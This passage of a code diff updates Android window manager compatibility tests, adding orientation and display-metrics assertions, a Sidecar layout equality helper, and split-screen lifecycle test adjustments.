+        public static final String EXTRA_SYSTEM_RESOURCES_CONFIG_INFO = "sys_config_info";
     }
 
     /** Extra key constants for {@link android.server.wm.app.FontScaleActivity}. */
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
index dd1ad87..8ceeab2 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/LandscapeOrientationActivity.java
@@ -19,9 +19,11 @@
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
 
 import android.app.Application;
 import android.content.res.Configuration;
+import android.content.res.Resources;
 import android.graphics.Point;
 import android.hardware.display.DisplayManager;
 import android.os.Bundle;
@@ -50,6 +52,8 @@
                     // own display adjustments.
                     app.getSystemService(DisplayManager.class)
                             .getDisplay(Display.DEFAULT_DISPLAY)));
+            extras.putParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO,
+                    new ConfigInfo(Resources.getSystem()));
             client.putExtras(extras);
         });
     }
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
index 2552686..b8b7f25 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionTest.java
@@ -136,8 +136,12 @@
             assertThat(featureRect.top).isAtLeast(0);
             assertThat(featureRect.right).isAtLeast(0);
             assertThat(featureRect.bottom).isAtLeast(0);
-            assertThat(featureRect.right).isAtMost(mActivity.getWidth());
-            assertThat(featureRect.bottom).isAtMost(mActivity.getHeight());
+
+            final Rect activityBounds =
+                    mActivity.getWindowManager().getCurrentWindowMetrics().getBounds();
+
+            assertThat(featureRect.right).isAtMost(activityBounds.width());
+            assertThat(featureRect.bottom).isAtMost(activityBounds.height());
         }
     }
 
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
index e784351..31e496ba 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/wrapper/sidecarwrapperimpl/TestSidecarWindowLayoutInfo.java
@@ -73,11 +73,55 @@
             return false;
         }
         final TestSidecarWindowLayoutInfo other = (TestSidecarWindowLayoutInfo) obj;
-        return mSidecarWindowLayoutInfo.equals(other.mSidecarWindowLayoutInfo);
+        return areSidecarWindowLayoutInfoEqual(mSidecarWindowLayoutInfo,
+                other.mSidecarWindowLayoutInfo);
     }
 
     @Override
     public int hashCode() {
         return mSidecarWindowLayoutInfo.hashCode();
     }
+
+    /**
+     * Compares two {@link SidecarWindowLayoutInfo} with respect to their core data. This method is
+     * necessary because {@link SidecarWindowLayoutInfo} did not implement {@code equals}. Also
+     * Sidecar has been deprecated and frozen, so this method is stable.
+     *
+     * @param lhs {@link SidecarWindowLayoutInfo} to be compared.
+     * @param rhs {@link SidecarWindowLayoutInfo} to be compared.
+     * @return {@code true} if objects are equal with respect to data otherwise return
+     * {@code false}.
+     */
+    private static boolean areSidecarWindowLayoutInfoEqual(@NonNull SidecarWindowLayoutInfo lhs,
+            @NonNull SidecarWindowLayoutInfo rhs) {
+        if (lhs.displayFeatures == rhs.displayFeatures) {
+            return true;
+        }
+        if (lhs.displayFeatures == null || rhs.displayFeatures == null
+                || lhs.displayFeatures.size() != rhs.displayFeatures.size()) {
+            return false;
+        }
+        for (int i = 0; i < lhs.displayFeatures.size(); i++) {
+            if (!areSidecarDisplayFeatureEqual(lhs.displayFeatures.get(i),
+                    rhs.displayFeatures.get(i))) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Compares two {@link SidecarDisplayFeature} with respect to their core data.  This method is
+     * necessary because {@link SidecarWindowLayoutInfo} did not implement {@code equals}.  Also
+     * Sidecar has been deprecated and frozen, so this method is stable.
+     *
+     * @param lhs {@link SidecarDisplayFeature} to be compared.
+     * @param rhs {@link SidecarDisplayFeature} to be compared.
+     * @return {@code true} if objects are equal with respect to data otherwise return
+     * {@code false}.
+     */
+    private static boolean areSidecarDisplayFeatureEqual(@NonNull SidecarDisplayFeature lhs,
+            @NonNull SidecarDisplayFeature rhs) {
+        return lhs.getType() == rhs.getType() && lhs.getRect().equals(rhs.getRect());
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index cfc9d0a..191a70b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -40,6 +40,7 @@
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_APP_CONFIG_INFO;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_CONFIG_INFO_IN_ON_CREATE;
 import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_DISPLAY_REAL_SIZE;
+import static android.server.wm.app.Components.LandscapeOrientationActivity.EXTRA_SYSTEM_RESOURCES_CONFIG_INFO;
 import static android.server.wm.translucentapp26.Components.SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY;
 import static android.view.Surface.ROTATION_0;
 import static android.view.Surface.ROTATION_180;
@@ -59,6 +60,7 @@
 
 import android.content.ComponentName;
 import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.hardware.display.DisplayManager;
@@ -68,6 +70,7 @@
 import android.server.wm.CommandSession.ConfigInfo;
 import android.server.wm.CommandSession.SizeInfo;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.util.DisplayMetrics;
 import android.view.Display;
 
 import org.junit.Test;
@@ -472,6 +475,9 @@
         final Point onCreateRealDisplaySize = extras.getParcelable(EXTRA_DISPLAY_REAL_SIZE);
         final ConfigInfo onCreateConfigInfo = extras.getParcelable(EXTRA_CONFIG_INFO_IN_ON_CREATE);
         final SizeInfo onCreateSize = onCreateConfigInfo.sizeInfo;
+        final ConfigInfo globalConfigInfo =
+                extras.getParcelable(EXTRA_SYSTEM_RESOURCES_CONFIG_INFO);
+        final SizeInfo globalSizeInfo = globalConfigInfo.sizeInfo;
 
         assertEquals("The last reported size should be the same as the one from onCreate",
                 reportedSizes, onCreateConfigInfo.sizeInfo);
@@ -485,6 +491,10 @@
                 expectedRotation, onCreateConfigInfo.rotation);
         assertEquals("The application should get the final display rotation in onCreate",
                 expectedRotation, appConfigInfo.rotation);
+        assertEquals("The orientation of application must be landscape",
+                ORIENTATION_LANDSCAPE, appConfigInfo.sizeInfo.orientation);
+        assertEquals("The orientation of system resources must be landscape",
+                ORIENTATION_LANDSCAPE, globalSizeInfo.orientation);
         assertEquals("The activity should get the final display size in onCreate",
                 expectedRealDisplaySize, onCreateRealDisplaySize);
 
@@ -493,6 +503,13 @@
                 onCreateSize.displayWidth > onCreateSize.displayHeight);
         assertEquals("The application should get the same orientation", isLandscape,
                 appConfigInfo.sizeInfo.displayWidth > appConfigInfo.sizeInfo.displayHeight);
+        assertEquals("The app display metrics must be landscape", isLandscape,
+                appConfigInfo.sizeInfo.metricsWidth > appConfigInfo.sizeInfo.metricsHeight);
+
+        final DisplayMetrics globalMetrics = Resources.getSystem().getDisplayMetrics();
+        assertEquals("The display metrics of system resources must be landscape",
+                new Point(globalMetrics.widthPixels, globalMetrics.heightPixels),
+                new Point(globalSizeInfo.metricsWidth, globalSizeInfo.metricsHeight));
     }
 
     @Test
@@ -832,7 +849,7 @@
 
         // Move activity back to docked stack.
         separateTestJournal();
-        setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        moveTaskToPrimarySplitScreen(mWmState.getTaskByActivity(activityName).mTaskId);
         final SizeInfo finalDockedSizes = getActivityDisplaySize(activityName);
 
         // After activity configuration was changed twice it must report same size as original one.
@@ -871,7 +888,10 @@
      * that are smaller than the dockedSizes.
      */
     private static void assertSizesAreSane(SizeInfo fullscreenSizes, SizeInfo dockedSizes) {
-        if (isDisplayPortrait()) {
+        final boolean isHorizontalDivision =
+                fullscreenSizes.displayHeight - dockedSizes.displayHeight >
+                fullscreenSizes.displayWidth - dockedSizes.displayWidth;
+        if (isHorizontalDivision) {
             assertThat(dockedSizes.displayHeight, lessThan(fullscreenSizes.displayHeight));
             assertThat(dockedSizes.heightDp, lessThan(fullscreenSizes.heightDp));
             assertThat(dockedSizes.metricsHeight, lessThan(fullscreenSizes.metricsHeight));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index 6ad0dc1..bd415bf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -23,6 +23,7 @@
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
@@ -60,6 +61,18 @@
     }
 
     /**
+     * Tests that config_remoteInsetsControllerControlsSystemBars is not set to true for
+     * non-automotive devices.
+     */
+    @Test
+    public void testRemoteInsetsControllerNotControlSystemBarsForNonAutoDevies() {
+        assumeFalse(isCar());
+
+        assertFalse("Non auto devices should not set config_remoteInsetsControllerControlsSystemBars",
+                remoteInsetsControllerControlsSystemBars());
+    }
+
+    /**
      * Tests that secondary display has override configuration set.
      */
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 89b310d..2a82511 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -862,7 +862,7 @@
     public void testConfigurationChangeOrderDuringTransition() throws Exception {
         // Launch a PiP activity and ensure configuration change only happened once, and that the
         // configuration change happened after the picture-in-picture and multi-window callbacks
-        launchActivity(PIP_ACTIVITY);
+        launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         separateTestJournal();
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
         mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 69b472e..9a92df9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -28,6 +28,7 @@
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
+import android.view.WindowManager;
 
 import org.junit.After;
 import org.junit.Before;
@@ -66,7 +67,7 @@
         appBounds.set(windowingMode == WINDOWING_MODE_FULLSCREEN ?
                 mWmState.getStableBounds() :
                 mWmState.findFirstWindowWithType(
-                        WindowManagerState.WindowState.WINDOW_TYPE_STARTING).getContentInsets());
+                        WindowManager.LayoutParams.TYPE_APPLICATION_STARTING).getContentFrame());
         // Use ratios to flexibly accomodate circular or not quite rectangular displays
         // Note: Color.BLACK is the pixel color outside of the display region
         assertColors(image, appBounds,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 1f472b2..49a15f5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -462,6 +462,8 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+        final Rect restoreDockBounds = mWmState.getStandardRootTaskByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
         resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
         mWmState.computeState(
                 new WaitForValidActivityState(TEST_ACTIVITY),
@@ -472,6 +474,9 @@
                 WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
         mWmState.assertVisibility(DOCKED_ACTIVITY, true);
         mWmState.assertVisibility(TEST_ACTIVITY, true);
+        int restoreW = restoreDockBounds.width();
+        int restoreH = restoreDockBounds.height();
+        resizeDockedStack(restoreW, restoreH, restoreW, restoreH);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
index 8617ddd..fdab986 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
@@ -24,9 +24,11 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.ActivityManager;
+import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.os.Bundle;
 import android.os.RemoteCallback;
 import android.os.UserHandle;
@@ -87,6 +89,15 @@
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         intent.putExtra(EXTRA_CALLBACK, cb);
 
+        final CountDownLatch returnToOriginalUserLatch = new CountDownLatch(1);
+        mContext.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                mContext.unregisterReceiver(this);
+                returnToOriginalUserLatch.countDown();
+            }
+        }, new IntentFilter(Intent.ACTION_USER_FOREGROUND));
+
         UserHandle secondUserHandle = UserHandle.of(mSecondUserId);
 
         try {
@@ -104,6 +115,9 @@
         }
 
         assertThat(secondUser[0]).isEqualTo(mSecondUserId);
+
+        // Avoid the race between switch-user and remove-user.
+        returnToOriginalUserLatch.await(20, TimeUnit.SECONDS);
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 1057a94..b1a2a0d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -194,9 +194,11 @@
     @Test
     public void testStartActivityByNavigateUpToFromDiffUid() {
         final Intent intent1 = new Intent(mContext, Activities.RegularActivity.class);
+        final String regularActivityName = Activities.RegularActivity.class.getName();
         final TestActivitySession<Activities.RegularActivity> activitySession1 =
                 createManagedTestActivitySession();
-        activitySession1.launchTestActivityOnDisplaySync(intent1, DEFAULT_DISPLAY);
+        activitySession1.launchTestActivityOnDisplaySync(regularActivityName, intent1,
+                DEFAULT_DISPLAY);
         final TestActivitySession<Activities.SingleTopActivity> activitySession2 =
                 createManagedTestActivitySession();
         activitySession2.launchTestActivityOnDisplaySync(Activities.SingleTopActivity.class,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index c90b859..35b06ba 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -175,7 +175,9 @@
         // which can trigger assertion failures in VerifyingCallback otherwise.
         runOnUiThread(() -> {
             mCallbacks.clear();
-            mRootView.setWindowInsetsAnimationCallback(null);
+            if (mRootView != null) {
+                mRootView.setWindowInsetsAnimationCallback(null);
+            }
         });
 
         // Now it should be safe to reset the IME to the default one.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index d3fa81d..58b6325 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -70,6 +70,7 @@
 
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
 import java.util.function.Consumer;
 
@@ -687,7 +688,7 @@
     void moveTaskToPrimarySplitScreenAndVerify(Activity activity) {
         getLifecycleLog().clear();
 
-        moveTaskToPrimarySplitScreen(activity.getTaskId());
+        moveTaskToPrimarySplitScreen(activity.getTaskId(), true /* showSideActivity */);
 
         final Class<? extends Activity> activityClass = activity.getClass();
         waitAndAssertActivityEnterSplitScreenTransitions(activityClass, "enterSplitScreen");
@@ -703,20 +704,48 @@
         log("Start waitAndAssertActivitySplitScreenTransitions");
 
         final List<LifecycleLog.ActivityCallback> expectedTransitions =
-                LifecycleVerifier.getSplitScreenTransitionSequence(activityClass);
+                new ArrayList<LifecycleLog.ActivityCallback>(
+                        LifecycleVerifier.getSplitScreenTransitionSequence(activityClass));
+
+        final List<LifecycleLog.ActivityCallback> expectedTransitionForMinimizedDock =
+                LifecycleVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
 
         mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+
         if (!expectedTransitions.contains(ON_MULTI_WINDOW_MODE_CHANGED)) {
-            LifecycleVerifier.assertSequence(activityClass, getLifecycleLog(),
-                    expectedTransitions, message);
+            LifecycleVerifier.assertSequenceMatchesOneOf(
+                    activityClass,
+                    getLifecycleLog(),
+                    Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
+                    message);
         } else {
             final List<LifecycleLog.ActivityCallback> extraSequence =
-                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST,
-                            ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE,
-                            ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
-                            ON_TOP_POSITION_LOST, ON_PAUSE);
-            LifecycleVerifier.assertSequenceMatchesOneOf(activityClass, getLifecycleLog(),
-                    Arrays.asList(expectedTransitions, extraSequence), message);
+                    new ArrayList<LifecycleLog.ActivityCallback>(
+                            Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST,
+                                    ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE,
+                                    ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED));
+            final List<LifecycleLog.ActivityCallback> extraSequenceForMinimizedDock =
+                    LifecycleVerifier.appendMinimizedDockTransitionTrail(extraSequence);
+            final int displayWindowingMode =
+                    getDisplayWindowingModeByActivity(getComponentName(activityClass));
+            if (displayWindowingMode != WINDOWING_MODE_FULLSCREEN) {
+                // For non-fullscreen display mode, there won't be a multi-window callback.
+                expectedTransitions.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+                expectedTransitionForMinimizedDock.removeAll(
+                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+                extraSequence.removeAll(Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+                extraSequenceForMinimizedDock.removeAll(
+                        Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
+            }
+            LifecycleVerifier.assertSequenceMatchesOneOf(
+                    activityClass,
+                    getLifecycleLog(),
+                    Arrays.asList(
+                            expectedTransitions,
+                            extraSequence,
+                            expectedTransitionForMinimizedDock,
+                            extraSequenceForMinimizedDock),
+                    message);
         }
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 9fbd1da..0062dac 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -98,10 +98,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Leaving the minimized dock, the stack state on the primary split screen should change
-        // from Paused to Resumed.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Show and hide lock screen
         getLifecycleLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index e4dc868..b018ea7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -249,8 +249,6 @@
                 .launch();
 
         LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
         LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
                 "launchBelow");
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 6cf6e99..87caa56 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -94,9 +94,6 @@
                 .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
                 .launch();
 
-        // Wait for SecondActivity in primary split screen leave minimize dock.
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
         // Finish top activity
         secondActivity.finish();
 
@@ -129,11 +126,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after being moved to split-screen.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
-
         // Launch third activity on top of second
         getLifecycleLog().clear();
         new Launcher(ThirdActivity.class)
@@ -160,11 +152,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after being moved to split-screen.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
-
         // Launch translucent activity on top of second
         getLifecycleLog().clear();
 
@@ -335,12 +322,23 @@
                 getLaunchActivityBuilder().
                         setTargetActivity(getComponentName(SecondActivity.class)));
 
-        // Wait for the activity to receive the change
-        waitForActivityTransitions(ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
-                "moveToSplitScreen");
+        final int displayWindowingMode = getDisplayWindowingModeByActivity(
+                getComponentName(ConfigChangeHandlingActivity.class));
+        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+            // Wait for the activity to receive the change.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
+            LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        } else {
+            // For non-fullscreen display mode, there won't be a multi-window callback.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST));
+            LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                    transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        }
 
         // Exit split-screen
         getLifecycleLog().clear();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index f2cab44..76919d7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -17,6 +17,7 @@
 package android.server.wm.lifecycle;
 
 import static android.app.Instrumentation.ActivityMonitor;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -51,6 +52,7 @@
 import static org.junit.Assert.fail;
 
 import android.app.Activity;
+import android.app.ActivityOptions;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.ActivityInfo;
@@ -487,9 +489,15 @@
             return;
         }
 
-        final Activity becomingVisibleActivity = launchActivityAndWait(FirstActivity.class);
-        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
-        final Activity topOpaqueActivity = launchActivityAndWait(SecondActivity.class);
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN);
+
+        final Activity becomingVisibleActivity =
+                new Launcher(FirstActivity.class).setOptions(options).launch();
+        final Activity translucentActivity =
+                new Launcher(TranslucentActivity.class).setOptions(options).launch();
+        final Activity topOpaqueActivity =
+                new Launcher(SecondActivity.class).setOptions(options).launch();
 
         waitAndAssertActivityStates(
                 state(becomingVisibleActivity, ON_STOP),
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index 33279f1..7bbf9c1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -309,11 +309,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        // First activity must be resumed, but not gain the top position
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "unminimizeDockedStack");
         // Second activity must be on top now
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
     }
@@ -334,9 +329,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Switch top between two activities
         getLifecycleLog().clear();
         new Launcher(CallbackTrackingActivity.class)
@@ -473,9 +465,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Tap on first activity to switch the focus
         getLifecycleLog().clear();
         final ActivityTask dockedStack = getStackForTaskId(firstActivity.getTaskId());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index 94db5bc..6045fc7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -298,14 +298,31 @@
 
     static List<LifecycleLog.ActivityCallback> getSplitScreenTransitionSequence(
             Class<? extends Activity> activityClass) {
+        // Minimized-dock is not a policy requirement and but SysUI-specific concept, so we here
+        // don't expect a trailing ON_PAUSE.
